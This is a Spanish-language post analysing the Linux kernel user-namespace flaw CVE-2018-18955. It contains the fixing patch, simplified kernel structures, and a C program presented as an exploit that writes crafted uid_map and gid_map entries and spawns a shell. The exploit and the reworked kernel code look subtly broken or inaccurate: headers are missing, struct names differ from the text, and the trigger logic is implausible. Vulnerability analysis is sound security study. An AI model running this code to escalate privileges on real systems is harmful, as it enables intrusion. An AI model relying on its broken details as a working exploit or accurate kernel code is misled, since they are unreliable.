Vulnerabilidad CVE-2018-18955 en Namespaces de Usuario de Linux

Los namespaces de usuario en Linux permiten el aislamiento de identificadores y atributos de seguridad, como UID, GID y capacidades. La vulnerabilidad CVE-2018-18955 se origina en el manejo de asignaciones dentro de estos namespaces, específicamente en la función map_write del kernel, lo que puede llevar a una escalada de privilegios.

Namespaces de Usuario

Un namespace de usuario aísla recursos de seguridad. Los procesos dentro de un namespace pueden tener diferentes UID/GID, y el archivo /proc/<pid>/uid_map permite mapear IDs externos a IDs internos. Las reglas de escritura incluyen que el proceso debe tener permisos CAP_SETUID y pertenecer al namespace padre o hijo.

Análisis del Parche

El parche corrige un error de ordenamiento en map_write. Originalmente, sort_idmaps se llamaba antes de actualizar los campos lower_first de los mapeos. Esto causaba que las copias invertidas no se actualizaran, permitiendo mapeos inconsistentes. El parche mueve la llamada a sort_idmaps después de la actualización.


--- a/kernel/user_namespace.c
+++ b/kernel/user_namespace.c
@@ -974,10 +974,6 @@ static ssize_t map_write(struct file *file, const char __user *buf,
     if (!new_idmap_permitted(file, ns, cap_setid, &new_map))
         goto out;
 
-    ret = sort_idmaps(&new_map);
-    if (ret < 0)
-        goto out;
-
     ret = -EPERM;
     /* Map the lower ids from the parent user namespace to the
      * kernel global id space.
@@ -1004,6 +1000,14 @@ static ssize_t map_write(struct file *file, const char __user *buf,
         e->lower_first = lower_first;
     }
 
+    /*
+     * If we want to use binary search for lookup, this clones the extent
+     * array and sorts both copies.
+     */
+    ret = sort_idmaps(&new_map);
+    if (ret < 0)
+        goto out;
+
     /* Install the map */
     if (new_map.nr_extents <= UID_GID_MAP_MAX_BASE_EXTENTS) {
         memcpy(map->extent, new_map.extent,

Análisis del Código Fuente

La función map_write procesa las escrituras en uid_map. Define estructuras como uid_gid_extent para mapear IDs, y uid_gid_map para almacenar múltiples mapeos. Los mapeos se almacenan en un arreglo con un límite base de 5 entradas, extendido a 340 mediante punteros.


#define ID_MAP_MAX_BASE 5
#define ID_MAP_MAX_TOTAL 340

struct id_range {
    u32 inner_id;
    u32 outer_id;
    u32 length;
};

struct id_mapping {
    u32 count;
    union {
        struct id_range ranges[ID_MAP_MAX_BASE];
        struct {
            struct id_range *forward;
            struct id_range *inverse;
        };
    };
};

Durante la escritura, los datos se parsean línea por línea, verificando solapamientos con check_overlap e insertando con add_range. Luego, se mapean los IDs externos usando map_id_down, que realiza una búsqueda binaria en mapeos ordenados.


static bool check_overlap(struct id_mapping *mapping, struct id_range *entry) {
    u32 entry_end = entry->inner_id + entry->length - 1;
    for (u32 i = 0; i < mapping->count; i++) {
        struct id_range *current;
        if (mapping->count <= ID_MAP_MAX_BASE)
            current = &mapping->ranges[i];
        else
            current = &mapping->forward[i];
        u32 current_end = current->inner_id + current->length - 1;
        if (current->inner_id <= entry_end && current_end >= entry->inner_id)
            return true;
    }
    return false;
}

La función sort_idmaps ordena los mapeos para búsqueda eficiente, creando copias invertidas. Tras actualizar los mapeos externos, se instalen en el namespace.

Análisis de la Vulnerabilidad

El problema surge porque sort_idmaps se ejecutaba antes de actualizar lower_first. Al crear una copia invertida ordenada por outer_id, esta no reflejaba los cambios posteriores. Un atacante podía configurar mapeos específicos para que los checks de permisos usaran datos obsoletos, permitiendo acceso no autorizado.

Por ejemplo, al escribir mapeos con más de 5 entradas, la copia invertida no se actualizaba tras el mapeo de IDs externos. Las funciones como kuid_has_mapping usaban esta copia para verificar permisos, resultando en una escalada de privilegios.

Código de Explotación

El exploit crea un namespace de usuario con mapeos manipulados. Primero, un proceso padre crea un hijo con unshare, luego escribe en uid_map con múltiples entradas para desencadenar el error.


#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    int comm_fd[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, comm_fd))
        err(1, "socketpair");

    pid_t pid = fork();
    if (pid == -1) err(1, "fork");
    if (pid == 0) {
        close(comm_fd[1]);
        if (unshare(CLONE_NEWUSER))
            err(1, "unshare");
        write(comm_fd[0], "R", 1);
        char dummy;
        read(comm_fd[0], &dummy, 1);
        execl("/bin/sh", "sh", NULL);
        err(1, "exec");
    }

    close(comm_fd[0]);
    char ack;
    read(comm_fd[1], &ack, 1);

    char path[64];
    snprintf(path, sizeof(path), "/proc/%d", pid);
    chdir(path);

    const char *mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
    int fd = open("uid_map", O_WRONLY);
    write(fd, mapping, strlen(mapping));
    close(fd);
    fd = open("gid_map", O_WRONLY);
    write(fd, mapping, strlen(mapping));
    close(fd);

    write(comm_fd[1], "G", 1);
    waitpid(pid, NULL, 0);
    return 0;
}

Este código establece mapeos que inducen el error de ordenamiento, permitiendo al proceso hijo ganar privilegios root dentro del namespace.

Etiquetas: linux user-namespaces cve-2018-18955 Kernel uid-mapping

Publicado el 7-17 19:08